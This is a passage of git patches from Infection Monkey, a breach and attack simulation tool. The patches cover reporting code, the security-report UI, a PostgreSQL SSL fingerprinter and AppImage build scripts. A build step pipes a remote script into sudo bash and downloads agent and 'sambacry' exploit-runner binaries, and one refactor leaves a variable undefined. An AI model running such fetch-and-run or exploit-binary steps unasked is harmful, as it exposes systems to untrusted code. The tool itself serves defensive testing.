+546,7 @@ def generate_report(): issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() + issue_set = ReportService.get_issue_set(issues, config_users, config_passwords) cross_segment_issues = ReportService.get_cross_segment_issues() monkey_latest_modify_time = Monkey.get_latest_modifytime() @@ -561,7 +564,7 @@ def generate_report(): 'config_scan': ReportService.get_config_scan(), 'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"), 'monkey_duration': ReportService.get_monkey_duration(), - 'issues': ReportService.get_issue_set(issues, config_users, config_passwords), + 'issues': issue_set, 'cross_segment_issues': cross_segment_issues }, 'glance': @@ -589,6 +592,32 @@ def generate_report(): return report + @staticmethod + def get_issues(): + ISSUE_GENERATORS = [ + ReportService.get_exploits, + ReportService.get_tunnels, + ReportService.get_island_cross_segment_issues, + ReportService.get_azure_issues, + PTHReportService.get_duplicated_passwords_issues, + PTHReportService.get_strong_users_on_crit_issues + ] + + issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) + + issues_dict = {} + for issue in issues: + if issue.get('is_local', True): + machine = issue.get('machine').upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) + if machine not in issues_dict: + issues_dict[machine] = [] + if aws_instance_id: + issue['aws_instance_id'] = aws_instance_id + issues_dict[machine].append(issue) + logger.info('Issues generated for reporting') + return issues_dict + @staticmethod def encode_dot_char_before_mongo_insert(report_dict): """ From e17085d75e880b79e50f69ac0798a8b40b420d7b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 25 Mar 2021 14:33:22 +0200 Subject: [PATCH 0042/1360] Last fix in home docs: attacker's -> an attacker's --- docs/content/_index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/_index.md b/docs/content/_index.md index 802df2130aa..74905e8f237 100644 --- a/docs/content/_index.md +++ b/docs/content/_index.md @@ -25,7 +25,7 @@ Architecturally, Infection Monkey is comprised of two components: * Monkey Island Server (Island for short) - a C&C web server which provides a GUI for users and interacts with the Monkey Agents. The user can run the Monkey Agent on the Island server machine or distribute Monkey Agent binaries on the network manually. Based on -the configuration parameters, Monkey Agents scan, propagate and simulate attacker's behavior on the local network. All of the +the configuration parameters, Monkey Agents scan, propagate and simulate an attacker's behavior on the local network. All of the information gathered about the network is aggregated in the Island Server and displayed once all Monkey Agents are finished. ## Results From 52601bd7353491cc2ee2697795f7cc29c1e38de3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 29 Mar 2021 10:03:01 -0400 Subject: [PATCH 0043/1360] job posting --- README.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/README.md b/README.md index 63d4bd37d32..3cb5bb194c8 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,18 @@ The Infection Monkey is comprised of two parts: To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com). +## 💥 We're Hiring 💥 +We are looking for a strong, full-stack developer with a passion for +cybersecurity to join the Infection Monkey development team. Infection Monkey +is an open-source, automated, breach and attack simulation platform, consisting +of a worm-like agent and C&C server. This is a remote position and is open +world-wide. If you're excited about Infection Monkey, we want to see your +resume. You can learn more about Infection Monkey on our +[website](https://www.guardicore.com/infectionmonkey/). + +For more information, or to apply, see the official job post +[here](https://www.guardicore.com/careers/co/labs/65.D16/full-stack-developer/all/?coref=1.10.r36_60E&t=1617025683094). + ## Screenshots ### Map From 280df4e67643f68848b4d88cd281f538022048b7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 29 Mar 2021 17:41:23 +0300 Subject: [PATCH 0044/1360] Fixed a bug in report backend --- monkey/monkey_island/cc/services/reporting/report.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 181b8616b37..42adfd5a2d1 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -264,7 +264,7 @@ def process_exploit(exploit) -> ExploiterReportInfo: return exploiter_info @staticmethod - def get_exploits(): + def get_exploits() -> dict: query = [{'$match': {'telem_category': 'exploit', 'data.result': True}}, {'$group': {'_id': {'ip_address': '$data.machine.ip_addr'}, 'data': {'$first': '$$ROOT'}, @@ -274,7 +274,7 @@ def get_exploits(): for exploit in mongo.db.telemetry.aggregate(query): new_exploit = ReportService.process_exploit(exploit) if new_exploit not in exploits: - exploits.append(new_exploit) + exploits.append(new_exploit.__dict__) return exploits @staticmethod @@ -594,6 +594,7 @@ def generate_report(): @staticmethod def get_issues(): + # Todo refactor these into separate files with a method signature -> dict ISSUE_GENERATORS = [ ReportService.get_exploits, ReportService.get_tunnels, From 6693fad0b5c9f033c77a2e201993af5e1052ed45 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 29 Mar 2021 12:18:47 -0400 Subject: [PATCH 0045/1360] Add empty CHANGELOG.md file --- CHANGELOG.md | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 CHANGELOG.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 00000000000..bcec5d8e9a5 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,6 @@ +# Changelog +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). + +## [Unreleased] From fad19075a2e5afd3aae734b5e62a670028ff7238 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 29 Mar 2021 12:20:33 -0400 Subject: [PATCH 0046/1360] Add changelog checklist item to pull request template --- .github/PULL_REQUEST_TEMPLATE.md | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index d5b8193ff0b..33960d9f274 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -7,6 +7,7 @@ Add any further explanations here. ## PR Checklist * [ ] Have you added an explanation of what your changes do and why you'd like to include them? * [ ] Is the TravisCI build passing? +* [ ] Was the CHANGELOG.md updated to reflect the changes? * [ ] Was the documentation framework updated to reflect the changes? ## Testing Checklist From d2fdabe26b5215f51f5e89709222355bea0ddf3e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 30 Mar 2021 13:00:18 +0300 Subject: [PATCH 0047/1360] Added missing issue descriptors --- .../report-components/SecurityReport.js | 62 +++++++++++++------ 1 file changed, 44 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index bd5ae3a3009..7ac1beab8ce 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -12,8 +12,6 @@ import ReportHeader, {ReportTypes} from './common/ReportHeader'; import ReportLoader from './common/ReportLoader'; import SecurityIssuesGlance from './common/SecurityIssuesGlance'; import PrintReportButton from './common/PrintReportButton'; -import WarningIcon from '../ui-components/WarningIcon'; -import {Button} from 'react-bootstrap'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faMinus} from '@fortawesome/free-solid-svg-icons/faMinus'; @@ -35,10 +33,19 @@ import {ShellShockIssueOverview, ShellShockIssueReport} from './security/issues/ import {MS08_067IssueOverview, MS08_067IssueReport} from './security/issues/MS08_067Issue'; import { crossSegmentIssueOverview, - generateCrossSegmentIssue + generateCrossSegmentIssue, + generateIslandCrossSegmentIssue } from './security/issues/CrossSegmentIssue'; -import {sharedAdminsDomainIssueOverview, sharedPasswordsIssueOverview} from './security/issues/SharedPasswordsIssue'; +import { + generateSharedCredsDomainIssue, generateSharedCredsIssue, generateSharedLocalAdminsIssue, + sharedAdminsDomainIssueOverview, + sharedPasswordsIssueOverview +} from './security/issues/SharedPasswordsIssue'; import {generateTunnelIssue, generateTunnelIssueOverview} from './security/issues/TunnelIssue'; +import {StolenCredsIssueOverview} from './security/issues/StolenCredsIssue'; +import {WeakPasswordIssueOverview} from './security/issues/WeakPasswordIssue'; +import {AzurePasswordIssueOverview, AzurePasswordIssueReport} from './security/issues/AzurePasswordIssue'; +import {generateStrongUsersOnCritIssue} from './security/issues/StrongUsersOnCritIssue'; class ReportPageComponent extends AuthComponent { @@ -131,9 +138,12 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: MS08_067IssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, + 'ZerologonExploiter': { + //TODO add + }, 'island_cross_segment': { [this.issueContentTypes.OVERVIEW]: crossSegmentIssueOverview, - [this.issueContentTypes.REPORT]: generateCrossSegmentIssue, + [this.issueContentTypes.REPORT]: generateIslandCrossSegmentIssue, [this.issueContentTypes.TYPE]: this.issueTypes.WARNING }, 'tunnel': { @@ -143,17 +153,37 @@ class ReportPageComponent extends AuthComponent { }, 'shared_passwords': { [this.issueContentTypes.OVERVIEW]: sharedPasswordsIssueOverview, + [this.issueContentTypes.REPORT]: generateSharedCredsIssue, [this.issueContentTypes.TYPE]: this.issueTypes.WARNING }, 'shared_admins_domain': { [this.issueContentTypes.OVERVIEW]: sharedAdminsDomainIssueOverview, + [this.issueContentTypes.REPORT]: generateSharedLocalAdminsIssue, + [this.issueContentTypes.TYPE]: this.issueTypes.WARNING + }, + 'shared_passwords_domain': { + [this.issueContentTypes.REPORT]: generateSharedCredsDomainIssue(), [this.issueContentTypes.TYPE]: this.issueTypes.WARNING }, - 'shared_passwords_domain': {}, - 'strong_users_on_crit': {}, - 'azure_password': {}, - 'weak_password': {}, - 'stolen_creds': {} + + // This issue was missing overview section + 'strong_users_on_crit': { + [this.issueContentTypes.REPORT]: generateStrongUsersOnCritIssue, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'azure_password': { + [this.issueContentTypes.OVERVIEW]: AzurePasswordIssueOverview, + [this.issueContentTypes.REPORT]: AzurePasswordIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'weak_password': { + [this.issueContentTypes.OVERVIEW]: WeakPasswordIssueOverview, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'stolen_creds': { + [this.issueContentTypes.OVERVIEW]: StolenCredsIssueOverview, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + } } constructor(props) { @@ -191,8 +221,6 @@ class ReportPageComponent extends AuthComponent { render() { let content; - console.log(this.state.report); - if (this.stillLoadingDataFromServer()) { content = ; } else { @@ -341,7 +369,6 @@ class ReportPageComponent extends AuthComponent { generateReportFindingsSection() { let overviews = this.getPotentialSecurityIssuesOverviews() - return (

    @@ -385,18 +412,17 @@ class ReportPageComponent extends AuthComponent { ); } - getPotentialSecurityIssuesOverviews(){ + getPotentialSecurityIssuesOverviews() { let overviews = []; - for( let key of this.IssueDescriptorEnum) { - if(this.WARNING_ISSUE_LIST[i] in this.state.report.issues) { - overviews.push(this.IssueDescriptorEnum[this.WARNING_ISSUE_LIST[i]][this.issueContentTypes.OVERVIEW]) - } + for (let issueKey of this.state.report.overview.issues) { + overviews.push(this.IssueDescriptorEnum[issueKey][this.issueContentTypes.OVERVIEW]); } return overviews; } getImmediateThreats() { + let threatCount = this.countImmediateThreats() return (

    From 2b3351baec52786d9850dbf89ea1525145737774 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 30 Mar 2021 13:00:47 +0300 Subject: [PATCH 0048/1360] Created immediate threat counter --- .../report-components/SecurityReport.js | 37 ++++++++++++------- 1 file changed, 23 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 7ac1beab8ce..4296e773ccf 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -224,6 +224,8 @@ class ReportPageComponent extends AuthComponent { if (this.stillLoadingDataFromServer()) { content = ; } else { + + console.log(this.state.report); content =
    {this.generateReportOverviewSection()} @@ -430,23 +432,29 @@ class ReportPageComponent extends AuthComponent {

    During this simulated attack the Monkey uncovered { - this.state.report.overview.issues.length > 0 ? - <> - - {this.state.report.overview.issues.length} threats: - - - : - <> - 0 threats. - + <> + + {threatCount} threats + : + }
    ) } + countImmediateThreats() { + let threatCount = 0; + let issues = this.state.report.overview.issues; + + for(let i=0; i < issues.length; i++) { + if (this.IssueDescriptorEnum[issues[i]][this.issueContentTypes.TYPE] === this.issueTypes.DANGER) { + threatCount++; + } + } + return threatCount; + } + + generateReportRecommendationsSection() { return (
    @@ -543,8 +551,9 @@ class ReportPageComponent extends AuthComponent { generateIssue = (issue) => { let issueDescriptor = this.IssueDescriptorEnum[issue.type]; - let reportFnc = (issue) => {}; - if(issue.hasOwnProperty('credential_type')) { + let reportFnc = (issue) => { + }; + if (issue.hasOwnProperty('credential_type')) { reportFnc = issueDescriptor[this.issueContentTypes.REPORT][issue.credential_type]; } else { reportFnc = issueDescriptor[this.issueContentTypes.REPORT]; From 13d03abd37b5a86504f0ffef21eec9a6580d3722 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 30 Mar 2021 17:32:21 +0530 Subject: [PATCH 0049/1360] CR changes --- ...ql_fingerprint.py => postgresql_finger.py} | 72 ++++++++++--------- ...ngerprint.py => test_postgresql_finger.py} | 6 +- 2 files changed, 43 insertions(+), 35 deletions(-) rename monkey/infection_monkey/network/{postgresql_fingerprint.py => postgresql_finger.py} (66%) rename monkey/infection_monkey/network/{test_postgresql_fingerprint.py => test_postgresql_finger.py} (93%) diff --git a/monkey/infection_monkey/network/postgresql_fingerprint.py b/monkey/infection_monkey/network/postgresql_finger.py similarity index 66% rename from monkey/infection_monkey/network/postgresql_fingerprint.py rename to monkey/infection_monkey/network/postgresql_finger.py index eb3ff359d98..1ed90f80abf 100644 --- a/monkey/infection_monkey/network/postgresql_fingerprint.py +++ b/monkey/infection_monkey/network/postgresql_finger.py @@ -29,8 +29,11 @@ class PostgreSQLFinger(HostFinger): "SSL usage is forced.\n", 'only_selected': "Only selected hosts can make connections (SSL or non-SSL).\n" } - RELEVANT_EX_SUBSTRINGS = ["password authentication failed", - "entry for host"] # "no pg_hba.conf entry for host" but filename may be diff + RELEVANT_EX_SUBSTRINGS =\ + { + 'no_auth': "password authentication failed", + 'no_entry': "entry for host" # "no pg_hba.conf entry for host" but filename may be diff + } def get_host_fingerprint(self, host): try: @@ -45,7 +48,7 @@ def get_host_fingerprint(self, host): try: exception_string = str(ex) - if not self.is_relevant_exception(exception_string): + if not self._is_relevant_exception(exception_string): return False # all's well; start analyzing errors @@ -57,8 +60,8 @@ def get_host_fingerprint(self, host): return False - def is_relevant_exception(self, exception_string): - if not any(substr in exception_string for substr in self.RELEVANT_EX_SUBSTRINGS): + def _is_relevant_exception(self, exception_string): + if not any(substr in exception_string for substr in self.RELEVANT_EX_SUBSTRINGS.values()): # OperationalError due to some other reason - irrelevant exception return False return True @@ -71,32 +74,10 @@ def analyze_operational_error(self, host, exception_string): ssl_connection_details = [] ssl_conf_on_server = self.is_ssl_configured(exceptions) - # SSL configured - if ssl_conf_on_server: - ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_conf']) - # SSL - ssl_selected_comms_only = False - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - ssl_connection_details.append(self.CONNECTION_DETAILS['all_ssl']) - else: - ssl_connection_details.append(self.CONNECTION_DETAILS['selected_ssl']) - ssl_selected_comms_only = True - # non-SSL - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[1]): - ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) - else: - if ssl_selected_comms_only: # if only selected SSL allowed and only selected non-SSL allowed - ssl_connection_details[-1] = self.CONNECTION_DETAILS['only_selected'] - else: - ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) - - # SSL not configured - else: - ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_not_conf']) - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) - else: - ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) + if ssl_conf_on_server: # SSL configured + self.get_connection_details_ssl_configured() + else: # SSL not configured + self.get_connection_details_ssl_not_configured() host.services[self._SCANNED_SERVICE]['communication_encryption_details'] = ''.join(ssl_connection_details) @@ -109,8 +90,35 @@ def is_ssl_configured(exceptions): elif len(exceptions) == 2: # SSL configured so checks for both return True + def get_connection_details_ssl_configured(self): + ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_conf']) + ssl_selected_comms_only = False + + # check exception message for SSL connection + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): + ssl_connection_details.append(self.CONNECTION_DETAILS['all_ssl']) + else: + ssl_connection_details.append(self.CONNECTION_DETAILS['selected_ssl']) + ssl_selected_comms_only = True + + # check exception message for non-SSL connection + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[1]): + ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) + else: + if ssl_selected_comms_only: # if only selected SSL allowed and only selected non-SSL allowed + ssl_connection_details[-1] = self.CONNECTION_DETAILS['only_selected'] + else: + ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) + + def get_connection_details_ssl_not_configured(self): + ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_not_conf']) + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): + ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) + else: + ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) + @staticmethod def found_entry_for_host_but_pwd_auth_failed(exception): - if PostgreSQLFinger.RELEVANT_EX_SUBSTRINGS[0] in exception: + if PostgreSQLFinger.RELEVANT_EX_SUBSTRINGS['no_auth'] in exception: return True # entry found in pg_hba.conf file but password authentication failed return False # entry not found in pg_hba.conf file diff --git a/monkey/infection_monkey/network/test_postgresql_fingerprint.py b/monkey/infection_monkey/network/test_postgresql_finger.py similarity index 93% rename from monkey/infection_monkey/network/test_postgresql_fingerprint.py rename to monkey/infection_monkey/network/test_postgresql_finger.py index 101377cf0a8..632541257b1 100644 --- a/monkey/infection_monkey/network/test_postgresql_fingerprint.py +++ b/monkey/infection_monkey/network/test_postgresql_finger.py @@ -1,7 +1,7 @@ from unittest import TestCase from unittest.mock import Mock -from infection_monkey.network.postgresql_fingerprint import PostgreSQLFinger +from infection_monkey.network.postgresql_finger import PostgreSQLFinger IRRELEVANT_EXCEPTION_STRING = "This is an irrelevant exception string." @@ -76,9 +76,9 @@ class TestPostgreSQLFinger(TestCase): def test_is_relevant_exception(self): - assert PostgreSQLFinger().is_relevant_exception(IRRELEVANT_EXCEPTION_STRING) is False + assert PostgreSQLFinger()._is_relevant_exception(IRRELEVANT_EXCEPTION_STRING) is False for exception_string in EXAMPLE_EXCEPTIONS_WITH_EXPECTED_RESULTS: - assert PostgreSQLFinger().is_relevant_exception(exception_string) is True + assert PostgreSQLFinger()._is_relevant_exception(exception_string) is True def test_analyze_operational_error(self): host = Mock(['services']) From ab33db650f7d1c0faad9961d1a097d196bb7c1de Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 30 Mar 2021 17:48:20 +0530 Subject: [PATCH 0050/1360] Add timeout to PostgreSQL connection and other testing changes --- .../network/postgresql_finger.py | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/network/postgresql_finger.py b/monkey/infection_monkey/network/postgresql_finger.py index 1ed90f80abf..aa5b89b66fd 100644 --- a/monkey/infection_monkey/network/postgresql_finger.py +++ b/monkey/infection_monkey/network/postgresql_finger.py @@ -2,6 +2,7 @@ import psycopg2 +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.model import ID_STRING from infection_monkey.network.HostFinger import HostFinger @@ -41,7 +42,8 @@ def get_host_fingerprint(self, host): port=self.POSTGRESQL_DEFAULT_PORT, user=self.CREDS['username'], password=self.CREDS['password'], - sslmode='prefer') # don't need to worry about DB name; creds are wrong, won't check + sslmode='prefer', + connect_timeout=MEDIUM_REQUEST_TIMEOUT) # don't need to worry about DB name; creds are wrong, won't check except psycopg2.OperationalError as ex: # try block will throw an OperationalError since the credentials are wrong, which we then analyze @@ -71,7 +73,7 @@ def analyze_operational_error(self, host, exception_string): exceptions = exception_string.split("\n") - ssl_connection_details = [] + self.ssl_connection_details = [] ssl_conf_on_server = self.is_ssl_configured(exceptions) if ssl_conf_on_server: # SSL configured @@ -79,7 +81,7 @@ def analyze_operational_error(self, host, exception_string): else: # SSL not configured self.get_connection_details_ssl_not_configured() - host.services[self._SCANNED_SERVICE]['communication_encryption_details'] = ''.join(ssl_connection_details) + host.services[self._SCANNED_SERVICE]['communication_encryption_details'] = ''.join(self.ssl_connection_details) @staticmethod def is_ssl_configured(exceptions): @@ -91,31 +93,31 @@ def is_ssl_configured(exceptions): return True def get_connection_details_ssl_configured(self): - ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_conf']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_conf']) ssl_selected_comms_only = False # check exception message for SSL connection if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - ssl_connection_details.append(self.CONNECTION_DETAILS['all_ssl']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS['all_ssl']) else: - ssl_connection_details.append(self.CONNECTION_DETAILS['selected_ssl']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS['selected_ssl']) ssl_selected_comms_only = True # check exception message for non-SSL connection if self.found_entry_for_host_but_pwd_auth_failed(exceptions[1]): - ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) else: if ssl_selected_comms_only: # if only selected SSL allowed and only selected non-SSL allowed - ssl_connection_details[-1] = self.CONNECTION_DETAILS['only_selected'] + self.ssl_connection_details[-1] = self.CONNECTION_DETAILS['only_selected'] else: - ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) def get_connection_details_ssl_not_configured(self): - ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_not_conf']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_not_conf']) if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) else: - ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) + self.ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) @staticmethod def found_entry_for_host_but_pwd_auth_failed(exception): From 12c40c396888e15458d6c9bb96736733eae28178 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 8 Feb 2021 09:09:42 -0500 Subject: [PATCH 0051/1360] build: scripts for building MonkeyIsland as an appimage Adds the basic scripts for generating an AppImage. Code changes are required to allow Monkey Island to operate on a read-only filesystem. --- deployment_scripts/appimage/AppRun | 5 + deployment_scripts/appimage/build_appimage.sh | 238 ++++++++++++++++++ .../appimage/monkey_island.desktop | 10 + .../appimage/monkey_island_builder.yml | 44 ++++ deployment_scripts/appimage/run.sh | 21 ++ 5 files changed, 318 insertions(+) create mode 100644 deployment_scripts/appimage/AppRun create mode 100755 deployment_scripts/appimage/build_appimage.sh create mode 100644 deployment_scripts/appimage/monkey_island.desktop create mode 100644 deployment_scripts/appimage/monkey_island_builder.yml create mode 100644 deployment_scripts/appimage/run.sh diff --git a/deployment_scripts/appimage/AppRun b/deployment_scripts/appimage/AppRun new file mode 100644 index 00000000000..29d0197c458 --- /dev/null +++ b/deployment_scripts/appimage/AppRun @@ -0,0 +1,5 @@ +#!/bin/bash + +cd ./usr/src + +bash monkey_island/linux/run.sh $HOME/.monkey_island/db diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh new file mode 100755 index 00000000000..407df9bb79d --- /dev/null +++ b/deployment_scripts/appimage/build_appimage.sh @@ -0,0 +1,238 @@ +#!/bin/bash + +python_cmd="python3.7" +APPDIR="$HOME/monkey-appdir" +INSTALL_DIR="$APPDIR/usr/src" + +GIT=$HOME/git + +REPO_MONKEY_HOME=$GIT/monkey +REPO_MONKEY_SRC=$REPO_MONKEY_HOME/monkey + +ISLAND_PATH="$INSTALL_DIR/monkey_island" +MONGO_PATH="$ISLAND_PATH/bin/mongodb" +ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" +INFECTION_MONKEY_DIR="$MONKEY_HOME/monkey/infection_monkey" +MONKEY_BIN_DIR="$INFECTION_MONKEY_DIR/bin" + +is_root() { + return $(id -u) +} + +has_sudo() { + # 0 true, 1 false + return $(sudo -nv > /dev/null 2>&1) +} + +handle_error() { + echo "Fix the errors above and rerun the script" + exit 1 +} + +log_message() { + echo -e "\n\n" + echo -e "DEPLOYMENT SCRIPT: $1" +} + +setup_appdir() { + rm -rf $APPDIR | true + mkdir -p $INSTALL_DIR +} + +install_pip_37() { + pip_url=https://bootstrap.pypa.io/get-pip.py + curl $pip_url -o get-pip.py + ${python_cmd} get-pip.py + rm get-pip.py +} + +install_nodejs() { + log_message "Installing nodejs" + node_src=https://deb.nodesource.com/setup_12.x + curl -sL $node_src | sudo -E bash - + sudo apt-get install -y nodejs +} + +install_build_prereqs() { + # appimage-builder prereqs + sudo apt install -y python3 python3-pip python3-setuptools patchelf desktop-file-utils libgdk-pixbuf2.0-dev fakeroot strace + + #monkey island prereqs + sudo apt install -y curl libcurl4 python3.7 python3.7-dev openssl git build-essential + install_pip_37 + install_nodejs +} + +install_appimage_builder() { + sudo pip3 install appimage-builder + + install_appimage_tool +} + +install_appimage_tool() { + APP_TOOL_BIN=$HOME/bin/appimagetool + mkdir $HOME/bin + curl -L -o $APP_TOOL_BIN https://github.com/AppImage/AppImageKit/releases/download/12/appimagetool-x86_64.AppImage + chmod u+x $APP_TOOL_BIN + + PATH=$PATH:$HOME/bin +} + +load_monkey_binary_config() { + tmpfile=$(mktemp) + + log_message "downloading configuration" + curl -L -s -o $tmpfile "$config_url" + + log_message "loading configuration" + source $tmpfile +} + +clone_monkey_repo() { + if [[ ! -d ${GIT} ]]; then + mkdir -p "${GIT}" + fi + + log_message "Cloning files from git" + branch=${2:-"develop"} + git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${REPO_MONKEY_HOME}" 2>&1 || handle_error + + chmod 774 -R "${MONKEY_HOME}" +} + +copy_monkey_island_to_appdir() { + cp $REPO_MONKEY_SRC/__init__.py $INSTALL_DIR + cp $REPO_MONKEY_SRC/monkey_island.py $INSTALL_DIR + cp -r $REPO_MONKEY_SRC/common $INSTALL_DIR + cp -r $REPO_MONKEY_SRC/monkey_island $INSTALL_DIR + cp ./run.sh $INSTALL_DIR/monkey_island/linux/ +} + +install_monkey_island_python_dependencies() { + log_message "Installing island requirements" + requirements_island="$ISLAND_PATH/requirements.txt" + ${python_cmd} -m pip install -r "${requirements_island}" --ignore-installed --prefix /usr --root=$APPDIR || handle_error + ${python_cmd} -m pip install pyjwt==1.7 --ignore-installed -U --prefix /usr --root=$APPDIR || handle_error + #${python_cmd} -m pip install PyNacl --user --upgrade || handle_error +} + +download_monkey_agent_binaries() { +log_message "Downloading monkey agent binaries to ${ISLAND_BINARIES_PATH}" + mkdir -p "${ISLAND_BINARIES_PATH}" || handle_error + curl -L -o ${ISLAND_BINARIES_PATH}/${LINUX_32_BINARY_NAME} ${LINUX_32_BINARY_URL} + curl -L -o ${ISLAND_BINARIES_PATH}/${LINUX_64_BINARY_NAME} ${LINUX_64_BINARY_URL} + curl -L -o ${ISLAND_BINARIES_PATH}/${WINDOWS_32_BINARY_NAME} ${WINDOWS_32_BINARY_URL} + curl -L -o ${ISLAND_BINARIES_PATH}/${WINDOWS_64_BINARY_NAME} ${WINDOWS_64_BINARY_URL} + + # Allow them to be executed + chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" + chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" +} + +install_mongodb() { + #log_message "Installing libcurl4" + #sudo apt-get install -y libcurl4 + + log_message "Installing MongoDB" + + mkdir -p $MONGO_PATH + "${ISLAND_PATH}"/linux/install_mongo.sh ${MONGO_PATH} || handle_error +} + +generate_ssl_cert() { + # Generate SSL certificate + log_message "Generating certificate" + + chmod u+x "${ISLAND_PATH}"/linux/create_certificate.sh + "${ISLAND_PATH}"/linux/create_certificate.sh ${ISLAND_PATH}/cc +} + +build_frontend() { + pushd "$ISLAND_PATH/cc/ui" || handle_error + npm install sass-loader node-sass webpack --save-dev + npm update + + log_message "Generating front end" + npm run dist + popd || handle_error +} + +download_monkey_helper_binaries() { + # Making dir for binaries + mkdir "${MONKEY_BIN_DIR}" + + download_sambacry_binaries + download_tracerout_binaries +} + +download_sambacry_binaries() { + # Download sambacry binaries + log_message "Downloading sambacry binaries" + curl -L -o ${MONKEY_BIN_DIR}/sc_monkey_runner64.so ${SAMBACRY_64_BINARY_URL} + curl -L -o ${MONKEY_BIN_DIR}/sc_monkey_runner32.so ${SAMBACRY_32_BINARY_URL} +} + +download_tracerout_binaries() { + # Download traceroute binaries + log_message "Downloading traceroute binaries" + curl -L -o ${MONKEY_BIN_DIR}/traceroute64 ${TRACEROUTE_64_BINARY_URL} + curl 